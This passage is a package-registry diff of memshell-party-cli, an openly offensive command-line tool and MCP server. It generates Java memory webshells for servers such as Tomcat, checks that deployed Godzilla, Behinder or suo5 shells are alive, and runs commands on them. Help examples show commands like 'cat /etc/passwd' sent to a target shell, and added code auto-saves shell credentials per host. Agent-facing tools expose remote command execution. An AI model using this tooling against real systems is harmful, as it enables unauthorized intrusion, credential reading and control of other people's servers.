memshell-party-cli 0.3.0 → 0.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +389 -0
- package/README.md +387 -371
- package/dist/cli.js +323 -81
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +8 -2
- package/dist/index.js +58 -11
- package/dist/index.js.map +1 -1
- package/package.json +2 -2
- package/skills/{SKILL.md → memshell-party/SKILL.md} +10 -4
- package/README.zh-CN.md +0 -368
package/dist/cli.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
// src/cli.ts
|
|
4
|
-
import { Command as
|
|
4
|
+
import { Command as Command8, CommanderError as CommanderError2 } from "commander";
|
|
5
5
|
|
|
6
6
|
// src/api/client.ts
|
|
7
7
|
var ApiError = class extends Error {
|
|
@@ -156,6 +156,15 @@ function logInfo(msg) {
|
|
|
156
156
|
process.stderr.write(`${msg}
|
|
157
157
|
`);
|
|
158
158
|
}
|
|
159
|
+
function reportError(message, argv) {
|
|
160
|
+
if (argv.includes("--json")) {
|
|
161
|
+
process.stdout.write(`${JSON.stringify({ ok: false, error: message })}
|
|
162
|
+
`);
|
|
163
|
+
} else {
|
|
164
|
+
process.stderr.write(`Error: ${message}
|
|
165
|
+
`);
|
|
166
|
+
}
|
|
167
|
+
}
|
|
159
168
|
|
|
160
169
|
// src/commands/config.ts
|
|
161
170
|
function printJsonOrLines(data, json, renderLines) {
|
|
@@ -168,7 +177,16 @@ function printJsonOrLines(data, json, renderLines) {
|
|
|
168
177
|
}
|
|
169
178
|
}
|
|
170
179
|
function registerConfigCommand(program) {
|
|
171
|
-
const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers")
|
|
180
|
+
const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers").addHelpText(
|
|
181
|
+
"after",
|
|
182
|
+
`
|
|
183
|
+
Examples:
|
|
184
|
+
$ memparty config servers # servers + their shell types (values for gen -s)
|
|
185
|
+
$ memparty config tools Tomcat # tools available on one server (values for gen -t)
|
|
186
|
+
$ memparty config packers # packer tree (values for gen -p)
|
|
187
|
+
$ memparty config command # Command-tool encryptors and impl classes
|
|
188
|
+
`
|
|
189
|
+
);
|
|
172
190
|
config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
173
191
|
const client = createClient(cmd.optsWithGlobals());
|
|
174
192
|
const servers = await client.getServers();
|
|
@@ -1186,6 +1204,42 @@ function saveShellMeta(projectName, shellName, meta) {
|
|
|
1186
1204
|
writeProjects(projects);
|
|
1187
1205
|
return shell;
|
|
1188
1206
|
}
|
|
1207
|
+
function sanitizeName(name) {
|
|
1208
|
+
const s = name.replace(/[^A-Za-z0-9._-]/g, "_");
|
|
1209
|
+
return /^[A-Za-z0-9]/.test(s) ? s : `x${s}`;
|
|
1210
|
+
}
|
|
1211
|
+
function autoSaveShell(conn) {
|
|
1212
|
+
let host = "target";
|
|
1213
|
+
let port = "";
|
|
1214
|
+
try {
|
|
1215
|
+
const u = new URL(conn.url);
|
|
1216
|
+
host = u.hostname || host;
|
|
1217
|
+
port = u.port;
|
|
1218
|
+
} catch {
|
|
1219
|
+
}
|
|
1220
|
+
const projectName = sanitizeName(host) || "target";
|
|
1221
|
+
const existing = getProject(projectName)?.shells ?? {};
|
|
1222
|
+
let shellName = Object.keys(existing).find(
|
|
1223
|
+
(n) => existing[n].url === conn.url && existing[n].tool === conn.tool
|
|
1224
|
+
);
|
|
1225
|
+
if (!shellName) {
|
|
1226
|
+
const base = sanitizeName(conn.tool) || "shell";
|
|
1227
|
+
shellName = base;
|
|
1228
|
+
if (existing[shellName]) shellName = port ? `${base}-${port}` : `${base}-2`;
|
|
1229
|
+
for (let i = 2; existing[shellName]; i++) shellName = `${base}-${i}`;
|
|
1230
|
+
}
|
|
1231
|
+
saveShell(projectName, shellName, {
|
|
1232
|
+
url: conn.url,
|
|
1233
|
+
tool: conn.tool,
|
|
1234
|
+
pass: conn.pass,
|
|
1235
|
+
key: conn.key,
|
|
1236
|
+
headerName: conn.headerName,
|
|
1237
|
+
headerValue: conn.headerValue,
|
|
1238
|
+
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
1239
|
+
insecure: conn.insecure
|
|
1240
|
+
});
|
|
1241
|
+
return `${projectName}/${shellName}`;
|
|
1242
|
+
}
|
|
1189
1243
|
function resolveConnection(ref, flags) {
|
|
1190
1244
|
let stored;
|
|
1191
1245
|
let targetName;
|
|
@@ -1195,7 +1249,7 @@ function resolveConnection(ref, flags) {
|
|
|
1195
1249
|
let shellName = slash === -1 ? void 0 : ref.slice(slash + 1);
|
|
1196
1250
|
const project = getProject(projectName);
|
|
1197
1251
|
if (!project) {
|
|
1198
|
-
throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty
|
|
1252
|
+
throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty list'`);
|
|
1199
1253
|
}
|
|
1200
1254
|
if (!shellName) {
|
|
1201
1255
|
const names = Object.keys(project.shells);
|
|
@@ -1254,7 +1308,7 @@ function parseExtraHeaders(lines) {
|
|
|
1254
1308
|
function registerConnectCommand(program) {
|
|
1255
1309
|
program.command("connect").description(
|
|
1256
1310
|
"Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
|
|
1257
|
-
).argument("[name]", "saved target name (see 'memparty
|
|
1311
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1258
1312
|
new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
|
|
1259
1313
|
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
|
|
1260
1314
|
"--header-name <name>",
|
|
@@ -1264,7 +1318,7 @@ function registerConnectCommand(program) {
|
|
|
1264
1318
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1265
1319
|
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
|
|
1266
1320
|
new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
|
|
1267
|
-
).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
|
|
1321
|
+
).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
1268
1322
|
"after",
|
|
1269
1323
|
`
|
|
1270
1324
|
Examples:
|
|
@@ -1273,14 +1327,15 @@ Examples:
|
|
|
1273
1327
|
$ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
1274
1328
|
--header-value YdwTyuQr
|
|
1275
1329
|
$ memparty connect -u http://target/suo5.jsp -t suo5
|
|
1276
|
-
$ memparty connect web222 # saved target, see 'memparty
|
|
1330
|
+
$ memparty connect web222 # saved target, see 'memparty list'
|
|
1277
1331
|
$ memparty connect -u https://target/shell.jsp -t godzilla -k --json
|
|
1278
1332
|
|
|
1279
1333
|
Note: shells generated by MemShellParty check a gate header \u2014 copy
|
|
1280
1334
|
shellToolConfig.headerName/headerValue from the \`gen --json\` output
|
|
1281
1335
|
(default header name is "User-Agent"), or the shell stays silent.
|
|
1282
|
-
|
|
1283
|
-
just pass the name.
|
|
1336
|
+
A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
1337
|
+
--no-save); afterwards just pass the name. See 'memparty list',
|
|
1338
|
+
'memparty note' and 'memparty remove' to manage saved targets.
|
|
1284
1339
|
`
|
|
1285
1340
|
).action(async (name, opts, cmd) => {
|
|
1286
1341
|
const globals = cmd.optsWithGlobals();
|
|
@@ -1298,8 +1353,7 @@ just pass the name.
|
|
|
1298
1353
|
insecure: opts.insecure
|
|
1299
1354
|
});
|
|
1300
1355
|
} catch (err) {
|
|
1301
|
-
|
|
1302
|
-
`);
|
|
1356
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
1303
1357
|
process.exitCode = 1;
|
|
1304
1358
|
return;
|
|
1305
1359
|
}
|
|
@@ -1327,6 +1381,11 @@ just pass the name.
|
|
|
1327
1381
|
process.exitCode = 1;
|
|
1328
1382
|
return;
|
|
1329
1383
|
}
|
|
1384
|
+
let savedAs;
|
|
1385
|
+
if (result.ok && conn.targetName === void 0 && opts.save !== false) {
|
|
1386
|
+
savedAs = autoSaveShell(conn);
|
|
1387
|
+
conn.targetName = savedAs;
|
|
1388
|
+
}
|
|
1330
1389
|
logOp({
|
|
1331
1390
|
category: "connect",
|
|
1332
1391
|
action: "connect",
|
|
@@ -1339,12 +1398,13 @@ just pass the name.
|
|
|
1339
1398
|
error: result.error
|
|
1340
1399
|
});
|
|
1341
1400
|
if (opts.json) {
|
|
1342
|
-
process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
1401
|
+
process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
|
|
1343
1402
|
`);
|
|
1344
1403
|
} else if (result.ok) {
|
|
1345
1404
|
process.stdout.write(`OK ${result.tool} ${result.url}
|
|
1346
1405
|
${result.detail ?? ""}
|
|
1347
1406
|
`);
|
|
1407
|
+
if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
|
|
1348
1408
|
} else {
|
|
1349
1409
|
process.stderr.write(`FAIL ${result.tool} ${result.url}
|
|
1350
1410
|
${result.error ?? ""}
|
|
@@ -1372,7 +1432,7 @@ function parseExtraHeaders2(lines) {
|
|
|
1372
1432
|
function registerExecCommand(program) {
|
|
1373
1433
|
program.command("exec").description(
|
|
1374
1434
|
"Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
|
|
1375
|
-
).argument("[name]", "saved target name (see 'memparty
|
|
1435
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1376
1436
|
new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
|
|
1377
1437
|
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
|
|
1378
1438
|
new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
|
|
@@ -1382,7 +1442,7 @@ function registerExecCommand(program) {
|
|
|
1382
1442
|
).option(
|
|
1383
1443
|
"--header-value <value>",
|
|
1384
1444
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1385
|
-
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
|
|
1445
|
+
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
1386
1446
|
"after",
|
|
1387
1447
|
`
|
|
1388
1448
|
Examples:
|
|
@@ -1390,7 +1450,7 @@ Examples:
|
|
|
1390
1450
|
--header-value qSGAJScj --cmd "whoami"
|
|
1391
1451
|
$ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
1392
1452
|
--header-value YdwTyuQr --cmd "cat /etc/passwd"
|
|
1393
|
-
$ memparty exec web222 --cmd "whoami" # saved target, see 'memparty
|
|
1453
|
+
$ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list'
|
|
1394
1454
|
$ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
|
|
1395
1455
|
--cmd "ipconfig /all" --json
|
|
1396
1456
|
|
|
@@ -1414,8 +1474,7 @@ the OS inside its payload, so --os does not apply.
|
|
|
1414
1474
|
insecure: opts.insecure
|
|
1415
1475
|
});
|
|
1416
1476
|
} catch (err) {
|
|
1417
|
-
|
|
1418
|
-
`);
|
|
1477
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
1419
1478
|
process.exitCode = 1;
|
|
1420
1479
|
return;
|
|
1421
1480
|
}
|
|
@@ -1450,6 +1509,11 @@ the OS inside its payload, so --os does not apply.
|
|
|
1450
1509
|
process.exitCode = 1;
|
|
1451
1510
|
return;
|
|
1452
1511
|
}
|
|
1512
|
+
let savedAs;
|
|
1513
|
+
if (result.ok && conn.targetName === void 0 && opts.save !== false) {
|
|
1514
|
+
savedAs = autoSaveShell(conn);
|
|
1515
|
+
conn.targetName = savedAs;
|
|
1516
|
+
}
|
|
1453
1517
|
const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
|
|
1454
1518
|
logOp({
|
|
1455
1519
|
category: "exec",
|
|
@@ -1465,11 +1529,12 @@ the OS inside its payload, so --os does not apply.
|
|
|
1465
1529
|
error: result.error
|
|
1466
1530
|
});
|
|
1467
1531
|
if (opts.json) {
|
|
1468
|
-
process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
1532
|
+
process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
|
|
1469
1533
|
`);
|
|
1470
1534
|
} else if (result.ok) {
|
|
1471
1535
|
process.stdout.write(result.output ?? "");
|
|
1472
1536
|
if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
|
|
1537
|
+
if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
|
|
1473
1538
|
} else {
|
|
1474
1539
|
process.stderr.write(`FAIL ${result.tool} ${result.url}
|
|
1475
1540
|
${result.error ?? ""}
|
|
@@ -1768,7 +1833,26 @@ function toOptions(o) {
|
|
|
1768
1833
|
};
|
|
1769
1834
|
}
|
|
1770
1835
|
function registerGenCommand(program) {
|
|
1771
|
-
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").
|
|
1836
|
+
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
1837
|
+
"after",
|
|
1838
|
+
`
|
|
1839
|
+
Examples:
|
|
1840
|
+
$ memparty gen # interactive wizard
|
|
1841
|
+
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\
|
|
1842
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
1843
|
+
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\
|
|
1844
|
+
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
1845
|
+
$ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
|
|
1846
|
+
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
|
|
1847
|
+
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
|
|
1848
|
+
|
|
1849
|
+
Note: run 'memparty config' to list the available servers, tools, shell
|
|
1850
|
+
types and packers. Some packers (e.g. Base64) are aggregate packers that
|
|
1851
|
+
return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
|
|
1852
|
+
for a single payload. The --json output includes the gate header
|
|
1853
|
+
(shellToolConfig) you need for 'memparty connect' / 'memparty exec'.
|
|
1854
|
+
`
|
|
1855
|
+
).action(async (opts, cmd) => {
|
|
1772
1856
|
const client = createClient(cmd.optsWithGlobals());
|
|
1773
1857
|
const missing = REQUIRED.filter((k) => !opts[k]);
|
|
1774
1858
|
const stdinIsTty = Boolean(process.stdin.isTTY);
|
|
@@ -1849,13 +1933,15 @@ function registerGenCommand(program) {
|
|
|
1849
1933
|
// src/commands/log.ts
|
|
1850
1934
|
import { Option as Option4 } from "commander";
|
|
1851
1935
|
function registerLogCommand(program) {
|
|
1852
|
-
program.command("log").description("Show the global operation log
|
|
1936
|
+
program.command("log").description("Show the global operation log").addOption(
|
|
1853
1937
|
new Option4("--category <name>", "filter by operation category").choices([
|
|
1854
1938
|
"gen",
|
|
1855
1939
|
"probe",
|
|
1856
1940
|
"connect",
|
|
1857
1941
|
"exec",
|
|
1858
|
-
"
|
|
1942
|
+
"save",
|
|
1943
|
+
"note",
|
|
1944
|
+
"remove"
|
|
1859
1945
|
])
|
|
1860
1946
|
).option(
|
|
1861
1947
|
"--target <name>",
|
|
@@ -1866,6 +1952,7 @@ function registerLogCommand(program) {
|
|
|
1866
1952
|
Examples:
|
|
1867
1953
|
$ memparty log # latest 50 operations
|
|
1868
1954
|
$ memparty log --category exec # only command executions
|
|
1955
|
+
$ memparty log --category save # only target saves
|
|
1869
1956
|
$ memparty log --target hw222 # everything against project hw222
|
|
1870
1957
|
$ memparty log --category exec --target 192.168.31.222 --json
|
|
1871
1958
|
`
|
|
@@ -2167,7 +2254,7 @@ function createMcpServer(client) {
|
|
|
2167
2254
|
"connect_test",
|
|
2168
2255
|
{
|
|
2169
2256
|
title: "Test shell connection",
|
|
2170
|
-
description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells.",
|
|
2257
|
+
description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs` \u2014 reuse it as `name` in later calls.",
|
|
2171
2258
|
inputSchema: connectInput
|
|
2172
2259
|
},
|
|
2173
2260
|
async (args) => {
|
|
@@ -2202,6 +2289,11 @@ function createMcpServer(client) {
|
|
|
2202
2289
|
default:
|
|
2203
2290
|
throw new Error(`unknown tool ${String(conn.tool)}`);
|
|
2204
2291
|
}
|
|
2292
|
+
let savedAs;
|
|
2293
|
+
if (result.ok && conn.targetName === void 0) {
|
|
2294
|
+
savedAs = autoSaveShell(conn);
|
|
2295
|
+
conn.targetName = savedAs;
|
|
2296
|
+
}
|
|
2205
2297
|
logOp({
|
|
2206
2298
|
category: "connect",
|
|
2207
2299
|
action: "connect",
|
|
@@ -2213,7 +2305,7 @@ function createMcpServer(client) {
|
|
|
2213
2305
|
detail: result.detail,
|
|
2214
2306
|
error: result.error
|
|
2215
2307
|
});
|
|
2216
|
-
return jsonContent(result);
|
|
2308
|
+
return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
|
|
2217
2309
|
} catch (err) {
|
|
2218
2310
|
return errorContent(err);
|
|
2219
2311
|
}
|
|
@@ -2223,7 +2315,7 @@ function createMcpServer(client) {
|
|
|
2223
2315
|
"exec_command",
|
|
2224
2316
|
{
|
|
2225
2317
|
title: "Execute command on shell",
|
|
2226
|
-
description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells.",
|
|
2318
|
+
description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
|
|
2227
2319
|
inputSchema: execInput
|
|
2228
2320
|
},
|
|
2229
2321
|
async (args) => {
|
|
@@ -2261,6 +2353,11 @@ function createMcpServer(client) {
|
|
|
2261
2353
|
default:
|
|
2262
2354
|
throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2263
2355
|
}
|
|
2356
|
+
let savedAs;
|
|
2357
|
+
if (result.ok && conn.targetName === void 0) {
|
|
2358
|
+
savedAs = autoSaveShell(conn);
|
|
2359
|
+
conn.targetName = savedAs;
|
|
2360
|
+
}
|
|
2264
2361
|
const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
|
|
2265
2362
|
logOp({
|
|
2266
2363
|
category: "exec",
|
|
@@ -2275,7 +2372,7 @@ function createMcpServer(client) {
|
|
|
2275
2372
|
outputTruncated: truncated?.truncated || void 0,
|
|
2276
2373
|
error: result.error
|
|
2277
2374
|
});
|
|
2278
|
-
return jsonContent(result);
|
|
2375
|
+
return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
|
|
2279
2376
|
} catch (err) {
|
|
2280
2377
|
return errorContent(err);
|
|
2281
2378
|
}
|
|
@@ -2307,7 +2404,7 @@ function createMcpServer(client) {
|
|
|
2307
2404
|
remark: args.shellRemark
|
|
2308
2405
|
});
|
|
2309
2406
|
logOp({
|
|
2310
|
-
category: "
|
|
2407
|
+
category: "save",
|
|
2311
2408
|
action: "save",
|
|
2312
2409
|
targetName: `${args.project}/${args.shell}`,
|
|
2313
2410
|
url: args.url,
|
|
@@ -2346,7 +2443,7 @@ function createMcpServer(client) {
|
|
|
2346
2443
|
}
|
|
2347
2444
|
const updated2 = saveShellMeta(args.project, args.shell, { remark: args.remark });
|
|
2348
2445
|
logOp({
|
|
2349
|
-
category: "
|
|
2446
|
+
category: "note",
|
|
2350
2447
|
action: "note",
|
|
2351
2448
|
targetName: `${args.project}/${args.shell}`,
|
|
2352
2449
|
ok: true,
|
|
@@ -2363,7 +2460,7 @@ function createMcpServer(client) {
|
|
|
2363
2460
|
category: args.category
|
|
2364
2461
|
});
|
|
2365
2462
|
logOp({
|
|
2366
|
-
category: "
|
|
2463
|
+
category: "note",
|
|
2367
2464
|
action: "note",
|
|
2368
2465
|
targetName: args.project,
|
|
2369
2466
|
ok: true,
|
|
@@ -2413,7 +2510,7 @@ function createMcpServer(client) {
|
|
|
2413
2510
|
const removed = args.shell ? removeShell(args.project, args.shell) : removeProject(args.project);
|
|
2414
2511
|
if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? ""}`);
|
|
2415
2512
|
logOp({
|
|
2416
|
-
category: "
|
|
2513
|
+
category: "remove",
|
|
2417
2514
|
action: "remove",
|
|
2418
2515
|
targetName: args.shell ? `${args.project}/${args.shell}` : args.project,
|
|
2419
2516
|
ok: true,
|
|
@@ -2429,9 +2526,9 @@ function createMcpServer(client) {
|
|
|
2429
2526
|
"log_list",
|
|
2430
2527
|
{
|
|
2431
2528
|
title: "List operation log",
|
|
2432
|
-
description: "Read the global operation log (every gen/probe/connect/exec/
|
|
2529
|
+
description: "Read the global operation log (every gen/probe/connect/exec/save/note/remove op), newest first. Filter by category and/or target.",
|
|
2433
2530
|
inputSchema: {
|
|
2434
|
-
category: z.enum(["gen", "probe", "connect", "exec", "
|
|
2531
|
+
category: z.enum(["gen", "probe", "connect", "exec", "save", "note", "remove"]).optional().describe("operation category"),
|
|
2435
2532
|
target: z.string().optional().describe("project name, project/shell, or a URL substring (e.g. host)"),
|
|
2436
2533
|
limit: z.number().optional().describe("max entries (default 50)")
|
|
2437
2534
|
}
|
|
@@ -2470,7 +2567,15 @@ function registerMcpCommand(program) {
|
|
|
2470
2567
|
// src/commands/parse-classname.ts
|
|
2471
2568
|
import { readFileSync as readFileSync6 } from "fs";
|
|
2472
2569
|
function registerParseClassNameCommand(program) {
|
|
2473
|
-
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").
|
|
2570
|
+
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
|
|
2571
|
+
"after",
|
|
2572
|
+
`
|
|
2573
|
+
Examples:
|
|
2574
|
+
$ memparty parse-classname -f shell.class
|
|
2575
|
+
$ memparty parse-classname "$(memparty gen -s Tomcat -t Command -y Filter \\
|
|
2576
|
+
-p DefaultBase64 --command-param-name cmd)"
|
|
2577
|
+
`
|
|
2578
|
+
).action(async (base64, opts, cmd) => {
|
|
2474
2579
|
let classBase64;
|
|
2475
2580
|
if (opts.file) {
|
|
2476
2581
|
classBase64 = readFileSync6(opts.file).toString("base64");
|
|
@@ -2588,7 +2693,22 @@ function toOptions2(o) {
|
|
|
2588
2693
|
};
|
|
2589
2694
|
}
|
|
2590
2695
|
function registerProbeCommand(program) {
|
|
2591
|
-
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").
|
|
2696
|
+
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before 